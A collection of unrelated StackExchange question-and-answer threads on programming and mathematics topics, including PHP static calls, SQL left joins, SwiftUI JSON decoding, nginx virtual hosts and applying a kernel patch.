text:
Q: Using the :: operator on an object Recently I've found interesting usage of code and I didn't know that it's possible. Can someone explain or give me manual page with explanation why the code below works? I understand :: can be used to reflect methods from parent, static etc. or to access static fields/methods but with reference $this it seems weird mostly because method a() is not static

class Test
{
   private function a()
   {
      echo 'a works';
   }

   public static function c()
   {
      echo 'c works';
   }

   public function b()
   {
        $this::a(); // this is weird
        $this::c(); // also this
        $this->a(); // normal usage
        self::a();  // as expected
        static::a(); // same as above
        Test::c();  // as expected
   }
}

(new Test)->b();

I've tried to find some information on my own but with no luck.
Edit:
I'm aware what :: is also I know it will throw warning if E_STRICT is enabled.

A: As of PHP 5.3, you can use a variable to reference the class with the :: operator. The manual only shows usages in which the variable is a string, however it is in fact possible to also use an object in its place; the class referenced is then the class the object is an instance of. There's an example buried in the manual for static: http://php.net/manual/en/language.oop5.static.php#language.oop5.static.properties.
So, all these resolve to the same thing:
$foo = new Foo;
$foo::bar();

$foo = 'Foo';
$foo::bar();

Foo::bar();

The methods will always be called statically; for methods which are already static this works as expected, while for non-static methods an E_STRICT notice will be raised.
This is mostly for convenience as far as I gather; you already have an object of a specific class, now you want to reference some static item of that class – just use the object you already have. This also allows for some more dynamic behaviour with subclassing. E.g.:
$foo = new SomeClassWithAVeryLongName;
$foo->bar($foo::BAZ); // much more concise than repeating SomeClassWithAVeryLongName::


text:
Q: How to cluster points of interest by lat lon for my WP7 app? I have alread asked this question on SO, so I apologize if duplicating this is bad form. I will link to each of the sites if I get the right answer.
I have a collection of my own PointOfInterest classes (approx. 1500) each having their own Latitude and Longitude double properties.
Im trying to draw them on my screen, but at a certain logical zoom level, there is no point showing some of them because they are so close together.
How can I very efficiently group POI's by their lat lon properties?
I have this type of thing:
var pointOfInterests = (from p in PointsOfInterest select p).Distinct(new EqualityComparer()).ToList();

where the EqualityComparer is:
public class EqualityComparer : IEqualityComparer<PointOfInterest>
{
    public bool Equals(PointOfInterest x, PointOfInterest y)
    {
        return Math.Round(x.Latitude.Value, PointOfInterest.DecimalPlaceFilterLevel) == Math.Round(y.Latitude.Value, PointOfInterest.DecimalPlaceFilterLevel) &&
            Math.Round(x.Longitude.Value, PointOfInterest.DecimalPlaceFilterLevel) == Math.Round(y.Longitude.Value, PointOfInterest.DecimalPlaceFilterLevel);
    }

    public int GetHashCode(PointOfInterest obj)
    {
        return Math.Round(obj.Latitude.Value, PointOfInterest.DecimalPlaceFilterLevel).GetHashCode() ^ Math.Round(obj.Longitude.Value, PointOfInterest.DecimalPlaceFilterLevel).GetHashCode();
    }
}

and the PointOfInterest.DecimalPlaceFilterLevel is a static int property that I set when the user is at a certian zoom level.
But this isnt working, I keep getting overlapping POI's and its not very fast... since I am on the phone, I need it to perform very well.

A: The ArcGIS WP7 api has clustering capabilities.

A: I am working on a similar problem with iOS. I have come across this answer How do I cluster XY point data? (ArcGIS 9.3) which I am trying to incorporate into the iOS app. I've not yet figured out how best to apply it (server or client), but the theory seems sound. Essentially, create a grid and then map each point to the closest corner. I'll follow this post and update with anything I find as I work through this one...

redpajama_set_name: RedPajamaStackExchange


text:
Q: Bogomolov-Beauville-Fujiki form, algebraically Let $M$ be a compact hyperkahler manifold, i.e. a manifold with three
complex structures $I,J,K$ defining an action of quaternions on the
tangent bundle and a metric which is Kahler with respect to all
three structures, of complex dimension $2n$. Then (theorem due to B,B,F) there exists a unique up to a sign quadratic form $q$ on $H^2(X,\mathbb{Z})$ such that for any class $\alpha \in H^2(X,\mathbb{Z})$
$$
q(\alpha)^n = \int_M \alpha^{2n}
$$
Let $\omega_I, \omega_J, \omega_K$ be Kahler forms with respect to
the three complex structures, then $\sigma=\omega_J + i\omega_K$ is holomorphic non-degenerate 2-form on $(M,I)$. Conversely, given a holomorphic non-degenerate 2-form $\sigma$ on a compact Kahler manifold $(M,I)$, one can define complex structures $J, K$ so that $\sigma$ arises as above. This makes holomorphically symplectic and hyperkahler manifolds two representations of the same object.
Now let $X$ be a projective algebraic variety of dimension $2n$ over a field $k$ with an algebraic non-degenerate 2-form. Is there an algebraic analogue of the form $q$? More precisely, is there a quadratic form $q$ on the Neron-Severi group of $X$ such that for any class $C \in NS(X)$
$$
q(C)^n=C \cdot \ldots \cdot C
$$
(intersection $2n$ times on the right)?


text:
Q: How can I convert my appsettings.json section to an object? I have an appsettings.json that looks like this:
{
    "Logging": {
        "LogLevel": {
            "Default": "Information",
            "Microsoft": "Warning",
            "Microsoft.Hosting.Lifetime": "Information"
        }
    },
    "AllowedHosts": "*",
    "SearchExclusions": {
        "Classifications": {
            "title": "My First Title",
            "entries": [ "ALPHA", "BETA" ]
        },
        "SubjectContains": {
            "title": "My Second Title",
            "entries": [ "GAMMA", "DELTA", "EPSILON", "ZETA", "ETA", "THETA", "IOTA", "KAPPA" ]
        }
    }
}

My .RAZOR component looks like this:
@inject IConfiguration Configuration
<h1> My Component </h1>
@code {
    protected override void OnInitialized()
    {
        // This does not work.
        var searchExclusionsObject = Configuration.GetSection("SearchExclusions").Get<SearchExclusions>();

        // This also does not work.
        var searchExclusionsObject = Configuration.Get<SearchExclusions>();
    }

    private class SearchExclusions
    {
        private Classifications classifications { get; set; }
        private SubjectContains subjectContains { get; set; }
    }

    private class Classifications
    {
        private String title { get; set; }
        private String[] entries { get; set; }
    }

    private class SubjectContains
    {
        private String title { get; set; }
        private String[] entries { get; set; }
    }
}

A: All your properties on SearchExclusions and other child classes are private, they need to be public.

A: Absolutely, it's just the accessibility of your properties that needs to be changed from Private to Public


text:
Q: Problem understanding Queue, parallelism and threading I have some question about using queues and threads. I already made researches, but I don't manage to understand the general functionnement.
What I want to do : I have a class, named "mTask", in which there are properties and a method, called "StartmTask". When I create a new mTask, I add it to a List .
And I want to process the mTask, when there are mTasks in the list. ( I have to launch a task on each free processor of the computer)
I don't understand how I should do... I think this is "simple" but I am actually lost.
Is any one would be able to explain it as simply as possible ?
Thanks a lot, I keep searching, if I am not clear enough, or if you need more information, don't hesitate to ask.
Yowan

A: I think probably the best and simplest solution would be to put the mTask to the ThreadPool instead of an list which you would have to observe.
Have a look at the method
ThreadPool.QueueUserWorkItem
Example:
ThreadPool.QueueUserWorkItem(new WaitCallback(DoWork), )mTask);

private void DoWork(object o)
{
    task = o;
}

If you use it, without any settings, the Threads are assigned to every cpu. You don't have to care about that.


text:
Q: Issue with my Left outer join query Here are my tables,

I'm trying to fetch the list of free bets with the details if the user has placed his bet or not. This is the query i have written to fetch the details for the same,
select DISTINCT tbl_CreateFreeBet.FreeBetID,
        tbl_CreateFreeBet.FreeBetDescription,
        tbl_CreateFreeBet.FreeBetAmount,
        tbl_CreateFreeBet.TournamentID,
        tbl_CreateFreeBet.MatchID,
        tbl_UserFreeBets.UserForYes,
        tbl_UserFreeBets.UserForNo,
        tbl_UserFreeBets.UserForNoBets
from tbl_CreateFreeBet left outer join tbl_UserFreeBets
on tbl_CreateFreeBet.MatchID = 1 and
tbl_CreateFreeBet.MatchID = tbl_UserFreeBets.MatchID and
tbl_CreateFreeBet.FreeBetID = tbl_UserFreeBets.FreeBetID and
tbl_CreateFreeBet.TournamentID = tbl_UserFreeBets.TournamentID and
(tbl_UserFreeBets.UserForYes = 'User2' or tbl_UserFreeBets.UserForNo =
'User2')

This is working fine, when there is a data in tbl_CreateFreeBet table for the MatchID. But if there is no data, then this query is not returning the expected result.
For example: With tbl_CreateFreeBet.MatchID = 1, I need to get all the free bets of matchID = 1, with the details of the passed in user, if has bet on 'yes' or 'no'. This comes up fine, as there is data for MatchId = 1 in tbl_CreateFreeBet.
But, it fails, when the tbl_CreateFreeBet.MatchID = 2 input is passed. Here there is no free bet created for the MatchID = 2. But still it returns me the result for MatchID=1.
Please share the query if one is aware of what changes need to be done for my query. Thank you.

A: Conditions on the first table in a LEFT JOIN should be in the WHERE clause.  I think you intend this logic:
select cfb.FreeBetID, cfb.FreeBetDescription, cfb.FreeBetAmount,
       cfb.TournamentID, cfb.MatchID,
       ufb.UserForYes, ufb.UserForNo, ufb.UserForNoBets
from tbl_CreateFreeBet cfb left outer join
     tbl_UserFreeBets ufb
     on cfb.MatchID = ufb.MatchID and
        cfb.FreeBetID = ufb.FreeBetID and
        cfb.TournamentID = ufb.TournamentID and
        (ufb.UserForYes = 'User2' or ufb.UserForNo = 'User2')
where cfb.MatchId = 1


text:
Q: SwiftUI - API - problem with data download I am a novice SwiftUI developer. I am trying to get data via the API of my wordpress website.
API link: https://amatorkamp.pl/wp-json/sportspress/v2/tables
I don't understand how I can join the DATA structure. If I want to download data from the first structure (ID, SLUG), everything works fine for me, but if I try to download data from DATA (PTS, NAME, POS), we have no data.
import Foundation
struct TaskEntry: Decodable  {
var pos: Int
var name: String
}

--
import SwiftUI

struct ContentView: View {
@State var results = [TaskEntry]()

var body: some View {
    List(results, id: \.id) { item in
        VStack(alignment: .leading) {
            //Text(item.slug)
            Text(item.name)
            //Text(item.rendered)
        }
    }.onAppear(perform: loadData)
}

func loadData() {
    guard let url = URL(string: "https://amatorkamp.pl/wp-json/sportspress/v2/tables") else {
        print("Your API end point is Invalid")
        return
    }
    let request = URLRequest(url: url)

    URLSession.shared.dataTask(with: request) { data, response, error in
        if let data = data {
            if let response = try? JSONDecoder().decode([TaskEntry].self, from: data) {
                DispatchQueue.main.async {
                    self.results = response
                }
                return
            }
        }
    }.resume()
}
}
struct ContentView_Previews: PreviewProvider {
static var previews: some View {
    ContentView()
}
}

A: Your model is not right, so you can't decode it. So please rethin your model. I checked your api call quick, and pos in nested inside the data object, you could use a site like quickType.io, so create the right model corresponding to your data.
Like to site: app.quicktype.io.


text:
Q: Save Location for Portable Executable I want to provide my portable executable file as a single exe file.
This exe file needs some txt file to save logs. But I do not want user to delete it unintentionally.
Where is the standard way to save such kind of files by executable without requiring administrative privileges on Windows operating systems?
Portable executable also runs without requiring administrative` privileges.
Also is writing to user system by portable executable recommended? Can anti-virus software complain about that?

A: The executable should be installed in "C:\Program Files" or "C:\Program Files (x86)" for 32-bit programs. This installation would require admin access.
Or you can install to "c:\Users\UserName\AppData\Local" directory (or any other non-protected directory, such as "c:\My Programs"), without admin privileges, but it's unconventional.
Log files and other writable files cannot go to protected ProgramFiles directory. They should be in "c:\Users\UserName\AppData\Local".
User files must be in Documents directory.
Don't forget the program must allow the user to uninstall it. Add uninstall information to to registry key.
"c:\\Program Files\\MyCompany\\MyAppName\\app.exe"
"c:\\Users\\UserName\\AppData\\Local\\MyCompany\\MyAppName\\app.exe"

HKEY_LOCAL_MACHINE //or use HKEY_CURRENT_USER if there is no admin access
    "software\\microsoft\\windows\\currentversion\\uninstall\\My App Name"
        "UninstallString = full-path-uninstall-command"

Uninstall string is usually added to HKEY_LOCAL_MACHINE, but if the installer doesn't have admin access it can go to HKEY_CURRENT_USER
To get these folders in Vista or higher, use:
std::wstring documents, appData, programFiles;

wchar_t *ptr;
if (S_OK == SHGetKnownFolderPath(FOLDERID_Documents, 0, NULL, &ptr))
{
    documents = ptr;
    CoTaskMemFree(ptr);
}

if (S_OK == SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &ptr))
{
    appData = ptr;
    CoTaskMemFree(ptr);
}

if (S_OK == SHGetKnownFolderPath(FOLDERID_ProgramFilesX86, 0, NULL, &ptr))
{
    programFiles = ptr;
    CoTaskMemFree(ptr);
}


text:
Q: Connect COM1 port with socat Is it possible to connect socat to the COM1 device? I am trying to use example from socat man page socat -,raw,echo=0,escape=0x0f /dev/ttyS0,raw,echo=0,crnl and replace device name /dev/ttyS0 with windows specific device name. I've tried COM1, com1, com1:, com1\:, some other variants but nothing works. Does anybody know correct combinations of symbols for the device name?

A: Use standard Linux name convention:

*

*/dev/ttyS0 is equivalent to COM1

*/dev/ttyS1 is equivalent to COM2

*etc...

See POSIX devices in the Cygwin User's Guide


text:
Q: fbsetbg gives error whenever i startx Whenever I startx, I get this error message from fbsetbg.
fbsetbg: Something went wrong while setting the wallpaper. Run 'display -geometry 1280x1024+0+0 -wn xterm to find out what.

This confuses me because my wallpaper is actually displayed after this message just fine.
Here is my .xinitrc which uses fbsetbg:
xrdb -merge ~/.Xresources
fbsetbg ~/pics/peace.jpg
/usr/bin/xmonad

A: fbsetbg is a wrapper program for trying to set your background.  It tries to do what you mean, not what you say. You're supposed to use one of -fctaFCTA with a file.  How about: fbsetbg -f ~/pics/peace.jpg
Try man fbsetbg
Also, what's your DISPLAY environment variable set to?


text:
Q: pyqtgraph scatter plot in PySide2 swaps red and blue I'm using a PNG image as a background to a scatter plot, but the import somehow swaps red and blue. I can 'fix' it by swapping red and blue for each pixel, but that's not a proper solution. Does anyone know what goes wrong here?
See code below:
import sys
from PySide2.QtWidgets import (
    QApplication, QMainWindow, QWidget, QVBoxLayout,
)
from PySide2.QtGui import (
    QImage
)
import pyqtgraph as pg

class Window(QMainWindow):
    def __init__(self):
        super().__init__()
        self.setWindowTitle("RGB Issue")
        self.setGeometry(100, 100, 600, 200)
        # set up widgets
        self.add_widgets()
        # show widgets
        self.show()

    def add_widgets(self):
        # create a plot window
        plot = pg.plot()
        # add an image
        img = QImage('flowers.png')
        # convert to a format imageToArray accepts
        img = img.convertToFormat(QImage.Format_ARGB32_Premultiplied)
        img_array = pg.imageToArray(img, copy=True)
        # ==> uncomment next line to swap red and blue
        # img_array = self.swap_red_and_blue(img_array)
        img_item = pg.ImageItem(img_array)
        # push image back so it ends up behind the spots in the plot
        img_item.setZValue(-100)
        plot.addItem(img_item)
        # create a layout for our widget
        layout = QVBoxLayout()
        # our central widget
        widget = QWidget()
        # set widget layout
        widget.setLayout(layout)
        layout.addWidget(plot)
        self.setCentralWidget(widget)

    def swap_red_and_blue(self, img_array):
        # swap red and blue for each pixel
        for r in img_array:
            for c in r:
                c0old = c[0]  # get red value
                c1old = c[1]  # get green value
                c2old = c[2]  # get blue value
                c[0] = c2old  # replace red with blue
                c[1] = c1old  # keep green
                c[2] = c0old  # replace blue with red
                # c[3] = 255  # set alpha to opaque
        return img_array

if __name__ == '__main__':
    app = QApplication(sys.argv)
    window = Window()
    window.show()
    sys.exit(app.exec_())

This is the original image:

This is the output I get:

I get the correct output if I call method swap_red_and_blue for each pixel in the code above.


text:
Q: Exception in thread "main" java.lang.NullPointerException in the coding I'm pretty sure these questions have been asked millions of times but unfortunately, I cannot find the answer.
Exception in thread "main" java.lang.NullPointerException
    at com.bluebitgames.visualnovel.Game.initStatesList(Game.java:30)
    at org.newdawn.slick.state.StateBasedGame.init(StateBasedGame.java:164)
    at org.newdawn.slick.AppGameContainer.setup(AppGameContainer.java:390)
    at org.newdawn.slick.AppGameContainer.start(AppGameContainer.java:314)
    at com.bluebitgames.visualnovel.Game.main(Game.java:77)

I know that the java.lang.NullPointerException means that the variable has a null value and so I must change it but I really have no idea.
package com.bluebitgames.visualnovel;

import org.newdawn.slick.AppGameContainer;
import org.newdawn.slick.GameContainer;
import org.newdawn.slick.SlickException;
import org.newdawn.slick.UnicodeFont;
import org.newdawn.slick.font.effects.ColorEffect;
import org.newdawn.slick.state.StateBasedGame;

public class Game extends StateBasedGame {
        public static final int SCREEN_WIDTH        = 1024;
        public static final int SCREEN_HEIGHT        = 640;
        public static final String title        = "Visual Novel";
        public static final String version        = "";
        public static final String vDate        = "03/07/12";

        // States
        public static final int menu  = 0;
        public static final int play  = 1;

        // Main font
        public static UnicodeFont font;

        public Game(String title) {
                super(title);
                this.addState(new Play(play));
        }

        public void initStatesList(GameContainer gc) throws SlickException {
                this.getState(menu).init(gc, this);     //line 30
                this.getState(play).init(gc, this);
                this.enterState(menu);
        }

        @SuppressWarnings("unchecked")
        public static UnicodeFont mainFont(int size, String name) {
                if(name.equals("default")) {
                        name        = "tempesta";
                }
                UnicodeFont font;
                try {
                        font        = new UnicodeFont("res/fonts/"+name+".ttf", size, false, false);
                        font.addAsciiGlyphs();
                        font.addGlyphs(400, 600);
                        font.getEffects().add(new ColorEffect(java.awt.Color.WHITE));
                        font.loadGlyphs();
                        return font;
                } catch(SlickException e) {
                        System.out.println("Could not load font.");
                        e.printStackTrace();
                        return null;
                }

        }

        public static void main(String[] args) {
                String os        = System.getProperty("os.name");
                if(os.contains("Windows")) {
                        os        = "windows";
                } else if(os.contains("Mac")) {
                        os        = "macosx";
                } else {
                        os        = "linux";
                }

                System.setProperty("org.lwjgl.librarypath",System.getProperty("user.dir") + "/lib/natives/"+os);
                AppGameContainer agc;
                try {
                        agc        = new AppGameContainer(new Game(title+" v"+version));
                        agc.setDisplayMode(SCREEN_WIDTH, SCREEN_HEIGHT, false);
                        //agc.setFullscreen(true);
                        agc.setTargetFrameRate(60);
                        agc.setShowFPS(true);
                        agc.setVSync(true);
                        agc.start();      //line 77
                } catch(SlickException e) {
                        e.printStackTrace();
                }
        }
}

(The StateBasedGame and the AppGameContainer are classes of a .jar called 'Slick' and I am not sure how to bring the coding up for it. Sorry!)
I hope someone can help me with this problem.
EDIT: So sorry about that. just edited that.

A: I don't know Slick2D, but you appear to be adding a Play State but not a Menu State in your constructor, and it seems the NPE is thrown when you attempt to call a method on the Menu State. I SWAG, but perhaps you should initialize the Menu State as well in the constructor.
1000 pardons and a deleted answer if this is wrong.

A: You seem to be missing the "Menu" State. I suggest trying to add such a state in your constructor, it should be as easy as something like this
public Game(String title) {
  super(title);
  this.addState(new Play(play));
  this.addState(new Menu(menu)); // Assuming you have a Menu somewhere...
}


text:
Q: MSBuild not publishing dll.config of dependency for ClickOnce My C# projectA published via ClickOnce depends on projectB. I need the projectB.dll.config file for projectA to work. While MSBuild copies over projectB.dll.config to projectA/bin/ConfigXY correctly, it is not published. VisualStudio (2017) doesn't even show the file in Application->Publish->Application Files.
As a workaround, I added this to A.csproj:
<Content Include="..\projectB\bin\Release\projectB.dll.config">
  <Link>projectB.dll.config</Link>
  <CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory>
</Content>

Now VS shows the file in the "Application Files" list, but this of course works only for the Release build config. Since I have lots of configs in project A that map to different configs in B, I cannot simple use $(Configuration) in the path.
I have found some suggestions to include ..\**\*.dll.config, but that seems dangerous, as when both the Debug and Release folder exist (from a previous build), I might end up with the wrong one.
What's the right way to do this?

A: I'd like to post this as a comment, but due to the limitations, I post it as an answer and I am sorry for that.
I did some tests, and it seems, to include the project.dll.config file to be published(shown in Application > Publish > Application Files), we need to include this file to the projectA.
I guess you mean you want to use "..\XXX\XXX\Release\projectB.dll.config" path for Release build and use ""..\XXX\XXX\Debug\projectB.dll.config" path for Debug build without using $(Configuration) right?
Generally, MSBuild uses $(configuration) to switch the configuration mode, if it is not available for you, to my knowledge, from MSBuild side, it is hard or not possible to switch/match the configuration mode.


text:
Q: Deployed Vercel App Local Time Incorrect? I automatically toggle dark mode on my website when the time is before 8am and after 8pm (approximately).
Here the code snippet which accomplishes that:
const currentTime: number = new Date().getHours();
const isNightTime: boolean = 8 <= currentTime && currentTime <= 20 ? false : true;
const [darkMode, setDarkMode] = useState<boolean>(isNightTime);

This works fine in NextJS development and production mode, but when I deploy it via Vercel, it turns on dark mode when it shouldn't.
Is there something I'm doing wrong?
Thanks in advance.


text:
Q: Error using Sklearn in a for loop I am running Python 3, and when I attempt to run this code:
from sklearn.preprocessing import LabelEncoder
cv=train.dtypes.loc[train.dtypes=='object'].index
print (cv)

le=LabelEncoder()
for i in cv:
    train[i]=le.fit_transform(train[i])
    test[i]=le.fit_transform(test[i])

However, i get this error:
le=LabelEncoder()
for i in cv:
    train[i]=le.fit_transform(train[i])
    test[i]=le.fit_transform(test[i])

Traceback (most recent call last):

  File "<ipython-input-5-8739984f61b2>", line 3, in <module>
    train[i]=le.fit_transform(train[i])

  File "C:\Users\myname\Anaconda3\lib\site-packages\sklearn\preprocessing\label.py", line 127, in fit_transform
    self.classes_, y = np.unique(y, return_inverse=True)

  File "C:\Users\myname\Anaconda3\lib\site-packages\numpy\lib\arraysetops.py", line 195, in unique
    perm = ar.argsort(kind='mergesort' if return_index else 'quicksort')

TypeError: unorderable types: str() > float()

Oddly enough, if I call the encoder on a specified column in my data, the output is successful. For instance:
le.fit_transform(test['Race'])

Results in:
le.fit_transform(test['Race'])
Out[7]: array([2, 4, 4, ..., 4, 1, 4], dtype=int64)

I've tried:
float(le.fit_transform(train[i]))
str(le.fit_transform(train[i]))
Both have not worked.
Could someone please provide help me out?


text:
Q: C++ : Assigning 2 constructors with 2 different variables doesn't work I wrote 2 contructors in my program with 2 different variables . However when calling them in main() I get an error saying :
    main.cpp:23:11: error: no match for call to '(Basis) (const char [5])'
   a("test");

This is my program :
    #include <iostream>
    using namespace std;

    enum Test{Mo,Di};

    class Basis
    {
    public:
      Basis(std::string str) { cout << str; }
      Basis(Test a)
      {
        cout << a;
      }
    };

    int main()
    {
      Basis a(Di);
      a("test"); //Error here
      return 0;

}

Shouldn't this be working ? I'm assigning for each constructor its own variable .

A: The line where you have //Error here is not calling a constructor (since a is already instantiated).
Maybe you want something like this to create a second instance of Basis (thus calling the constructor you're wanting):
int main()
{
  Basis a(Di);
  Basis b("test"); //calls std::string constructor here
  return 0;
}

A: The class Basis and its overloaded constructors are fine. The error is that
the code tries to call the parentheses operator method of the class.
And as there is no such method it thus provides the error you had documented.
Using parentheses to construct an object only works when you are first declaring it.
You can't reconstruct the object the variable is holding, however you can set the variable to a new object of that class. Like Elijay had stated.
a = Basis("test"); // Sets the variable

A: Well I guess this here answers my question . Dunno why no one mentioned it .
Just had to add a void operator to my public class
   #include <iostream>
    using namespace std;

    enum Test{Mo,Di};

    class Basis
    {
    public:
      Basis(Test a)
      {
        cout << a;
      }
      void operator()(std::string str )
      {
        cout << str;
      }
    };

    int main()
    {
      Basis a(Di);
      a("test");
      return 0;

}

This will print
1test


text:
Q: Jquery to get width of child table This might be a very simple question but i am unable to get it. How to get the width of the table which is the child of the div with class "test" using jquery

    Test1
    Test2

                12

                34

A: It's quite simple:
$(".test > table").width();

A: Try
$("div.test table").width()


text:
Q: How do I apply this revert commit patch from git? I have found a patch applicable to my system to fix a problem but I have no idea how to get this patch and then apply it. Can anybody help me please?
Patch: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c11e5f35ab490bd30591563816fbc83526521777

A: First, download the patch. There is a handy patch button on the link you indicated. Say for instance, you saved it to /tmp/foo.patch
cd into the source directory and run the following
cd drivers/gpu/drm/i915/intel_pm.c
patch -p1 < /tmp/foo.patch

You could alternatively use git-am to create and apply the patch. Assuming you have checked out the linux kernel.   https://www.kernel.org/pub/software/scm/git/docs/git-am.html
Resources
Applying Patches
Building Kernel


text:
Q: openmp slows down near the end of execution I edited a program to a parallel edition, but met a problem. This program is large and I tried to parallelize it at the outmost layer. This program is written in fortran and the following is the scheme of my code.
program main
use omp_lib
implicit none

declare some variables...

call omp_set_num_threads(n)
!$OMP parallel do
!$OMP private(a,b,c,d)
do i=1,5000000
   call sub1(a,b,c)
   b=c+d;c=b+d;...
   call sub2(b,c,d)
   if (logical_expression) cycle
   call sub3()
   call sub4()
enddo

end program

There are some conditions that the outmost loop will cycle, and these conditions mostly happen when is are small. So when I tried to print out which loop i is performing, I finally got that near the end of the execution, the i is continuous and large. And if I print out i on the screen, I saw that the speed of my program was as slow as a sequential edition near the end of the execution. Is there anyone know why and how to solve this problem?


text:
Q: checkboxes on layered navigation in the filter block which core files (controller,model and resource files) specifically needs to be edited to add check-boxes on layered navigation in the filter block in Magento.
What I have done till now is that I have added check-boxes and a JavaScript file which extracts ids of the products and then sends them via GET parameter to the controller.
I am not able to proceed beyond this since I am new Developer and do not know how is the controll passed and handled.
so, I want to know which all files do I need to override to make this feature functional?

A: *

*Log into admin panel and go to System > Configuration

*Select the Main website or your current store as Current Configuration Scope

*Select Developer tab under ADVANCED section

*Click on debug section and set Template Path Hints to yes and Add Block Names to Hints to yes

*Refresh the cache ( go to System > Cache Management )

*Refresh the front-end

*Now you'll see the relevant files to be overridden

A: in this file all code make as ul li tag you have to just add checkbox on before that link display it's very simple task.
For that three .phtml files is use , the path is:
app\design\frontend\base\default\template\catalog\layer

1) filter.phtml

2) state.phtml

3) view.phtml

you have to change the checkbox code in this 3 files
Make sure that this is in base folder but you have to copy this files in theme folder and do changes.

A: I override the code:
app\design\frontend\base\default\template\catalog\layer\filter.phtml
Please check my code in github:
https://github.com/ronaldduque24/filter
Thank you


text:
Q: Python 3 Game Bug: Holding down the enter key I have another question related to this game, here it is:
https://stackoverflow.com/questions/28545444/python-3-game-bug-message-repeating
I made a game thats a knock off of Cookie Clicker (just for coding practice!). And I ran into a problem where the user can hold down the enter key, and get coins really fast. I'd like to prevent that. here is my code:
coin = 0
keepgoing = True

while keepgoing == True:
        print('You have ' + str(coin) + ' cmd-coins' )
        response = input('Press enter to get a coin!')
        if response == 'q':
                keepgoing = False
                print('Thanks for playing!')
coin = coin + 1

A: I wrote a rather "gimmicky" solution to your problem, which works to an extent but definitely isn't flawless. Based on your compiler you may have to change the conditional value for start-end such that it is a value which allows you to static press as fast as humanly possible without breaking but not allow the user to hold the enter key. For me in WingIde, 0.03 is the optimal value.
Were you to import a module such as Pygame you would find this sort of game much easier to make.
import time

coins = 0
keepgoing = True
end = -1

while keepgoing:
    print('You have ' + str(coins) + ' cmd-coins' )
    response = input('Press enter to get a coin!')
    start = time.time()
    if start-end < 0.03:
        print ("Don't hold down the Enter key you cheater!")
        keepgoing = False
    if response == 'q':
        print('Thanks for Playing!')
        keepgoing = False
    coins = coins + 1
    end = time.time()

NOTE: This solution is for Python 3, for < Python 3 you'll have to substitute raw_input() for input(). Also, I wouldn't advise trying to use it on an online compiler.

A: G Force dog,
You could change your game a bit by making a few changes till someone or I figure out a good solution(Mom gave orders to go to bed). Till we don't find a solution, use this code which isn't exactly a solution.
coins = 0
real = 0
while real == 0:
    if True:
        print('You have ' + str(coins) + ' cmd-coins' )
        response = input('Press c to get a coin, then press ENTER!')
        if response == 'c' or response == 'C':
            coins = coins + 1
        if response == 'q':
            print('Thanks for playing!')
            real = 1

And 2 things:-

*

*Nice answer Yeniaul! Good try!

*Elizion, nice try but your method isn't working. But it is a good idea.
I have used time too, but it seems that when one presses ENTER key for a long time, it just comes out on the screen all together.

I think I do have somewhat of an idea forming... if we make another while loop, after importing 'time', with a condition which makes the loop active every 2 seconds by assigning a variable 'time.clock()' and when its value is a multiple of 2, it activates!
Got it? I know what to do, but can't seem to put it in code. See if you can, reader(especially Elizion and Yeniaul)

A: Try using time.sleep(seconds of delay) for slowdown
So you could do
coin = 0
keepgoing = True

while keepgoing == True:
        time.sleep(0.25)
        print('You have ' + str(coin) + ' cmd-coins' )
        response = input('Press enter to get a coin!')
        if response == 'q':
                keepgoing = False
                print('Thanks for playing!')
coin = coin + 1

This would make it a quarter-second delay before they could get another coin.


text:
Q: Virtualhost for nginx I have installed nginx 1.0.3 using the following procedure:
apt-get install libpcre3-dev build-essential libssl-dev
cd /opt/
wget http://nginx.org/download/nginx-1.0.3.tar.gz
tar -zxvf nginx-1.0.3.tar.gz
cd /opt/nginx-1.0.3/
./configure --prefix=/opt/nginx --user=nginx --group=nginx --with-http_ssl_module
make
make install
adduser --system --no-create-home --disabled-login --disabled-password --group nginx

The installation seems ok. I then need to create 2 virtual hosts but I cannot find any "nginx/sites-available" folder in /etc. nginx is only located in /opt (where I installed it) and so sites-available/enabled anywhere.
I will end up adding the virtualhost in the /opt/nginx/conf/nginx.conf but this is not what I want to do.
Can somebody help ?

A: All you need is to create two directories (/etc/nginx/sites-available & /etc/nginx/sites-enabled) and add following line to http section of nginx.conf
include /etc/nginx/sites-enabled/*;


text:
Q: Jquery function don't get correctly variable I have a function that is called many times when the window browser is resized or when I click on some elements.
This function calculate the correct width of a container based on children items width (variable colW). It seems that when my function is execute, the colW variable is not correctly get or it's not the right width (it's the previous calculated width).
This colW variable is calculated in function of the window size.
If I put an alert(colW) everything works fine. In this case the variable is correctly get.
I don't know how to resolve this problem. Maybe I didn't correctly set my variable or I need to be sure that the previous fonction is done before to execute the next function.
Here my script:
function checkSly() {
    //alert(colW);
    numNormal = $('.element:not(.square,.wide,.tall,.isotope-hidden)').length;
    numSquare = $('.element.square:not(.isotope-hidden)').length;
    numWide = $('.element.wide:not(.isotope-hidden)').length;
    numTall = $('.element.tall:not(.isotope-hidden)').length;
    totalelement = numNormal+numSquare*4+numWide*2+numTall+3;
    columnswidth = Math.ceil((totalelement)/HIsotopeRows)*colW;
    slideewidth = Math.round(columnswidth);
    $('#container').width(slideewidth);
    frame.reload();
}

EDIT
if I add a setTimeout, the variable have the time to be calculated (because the colW width animate some elements) and it works great :
    function checkSly() {
    setTimeout(function() {
    numNormal = $('.element:not(.square,.wide,.tall,.isotope-hidden)').length;
    numSquare = $('.element.square:not(.isotope-hidden)').length;
    numWide = $('.element.wide:not(.isotope-hidden)').length;
    numTall = $('.element.tall:not(.isotope-hidden)').length;
    totalelement = numNormal+numSquare*4+numWide*2+numTall+3;
    columnswidth = Math.ceil((totalelement)/HIsotopeRows)*colW;
    slideewidth = Math.round(columnswidth);
    $('#container').width(slideewidth);

    frame.reload();
        }, 300);
}

I think I need to wait that all animations are completed before to call checkSly() function...
Is there a way to wait animation are finished before execute a function? Because with setTimeout it will not works all the time (because animation depend on browser type, CPU and others things....)
Sorry for my english, I m french.


text:
Q: How do I add a space when pressing the return button on a UITextfield in Swift? I have this text field where the user can insert text in it and I want to automatically press the space bar button when the return button is pressed. Is there anyway to be able to do that?
//when user presses return the keyboard will dismiss and automatically add a space

func textFieldShouldReturn(_ searchTextField: UITextField) -> Bool {

    searchTextField.resignFirstResponder()

    return true
}

A: You can try
searchTextField.text! += " "
searchTextField.resignFirstResponder()

A: func textFieldShouldReturn(_ textField: UITextField) -> Bool {
    textField.text = "\(textField.text ?? "")_" //replace underscore with space
    return true
}

Concat the space to current text on textfield


text:
